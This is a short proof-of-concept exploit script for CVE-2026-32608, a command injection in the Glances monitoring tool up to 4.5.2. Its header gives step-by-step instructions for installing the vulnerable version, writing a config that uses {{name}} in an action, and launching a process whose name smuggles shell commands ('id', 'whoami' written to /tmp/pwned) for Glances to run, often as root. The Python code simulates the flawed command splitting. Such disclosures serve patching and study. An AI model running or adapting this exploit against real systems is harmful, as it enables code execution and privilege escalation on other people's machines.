#!/usr/bin/env python3 # Exploit Title: Glances <= 4.5.2 OS Command Injection via Mustache Template Fields # CVE: CVE-2026-32608 # Date: 2026-03-18 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://github.com/nicolargo/glances # Software Link: https://pypi.org/project/glances/ # Affected: Glances <= 4.5.2-dev01 (pip / source installs) # Tested on: Glances 4.5.1 # Category: Remote # Platform: Linux / macOS / Windows (where Glances runs) # Exploit Type: Command Injection # CVSS: 7.0 (High) # Description: Glances insecurely processes user-controlled values (process names, container names, mount points) in Mustache templates used in action commands. Malicious entity names can inject arbitrary OS commands via | && > separators before secure_popen splitting logic. # Fixed in: Glances 4.5.2 (commit 6f4ec53d967478e69917078e6f73f448001bf107) # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- (no command-line options implemented in this minimal PoC) # # Notes: # • Requires Glances to be running with a config containing action commands using {{name}}, {{container_name}} etc. # • Attacker must be able to create/rename processes or Docker containers on the target system. # • Executes commands as the user running Glances (often root when run as service) # # How to Use # # Step 1: # Install vulnerable version: pip install "glances<4.5.2" # # Step 2: # Create glances.conf with e.g.: # [processlist] # critical_action=echo "ALERT: {{name}}" >> /tmp/alert.log # # Step 3: # Run Glances: glances --config glances.conf # # Step 4: # Create malicious process: # cp /bin/sleep "/tmp/ok|id>/tmp/pwned;whoami>>/tmp/pwned||" # "/tmp/ok|id>/tmp/pwned;whoami>>/tmp/pwned||" 999 & # # Step 5: # Wait for Glances to evaluate process list and trigger action import subprocess import shlex def vulnerable_secure_popen(cmd: str): for sep in ("&&", "|", ">"): cmd = cmd.replace(sep, f" {sep} ") parts = [p.strip() for p in cmd.split() if p.strip()] for part in parts: print(f"[EXEC] {part}") malicious_name = 'innocent|id>/tmp/pwned;whoami>>/tmp/pwned||' template = 'echo "ALERT: {{name}} used 99% CPU" >> /tmp/alerts.log' rendered = template.replace('{{name}}', malicious_name) print("Rendered command:", rendered) vulnerable_secure_popen(rendered)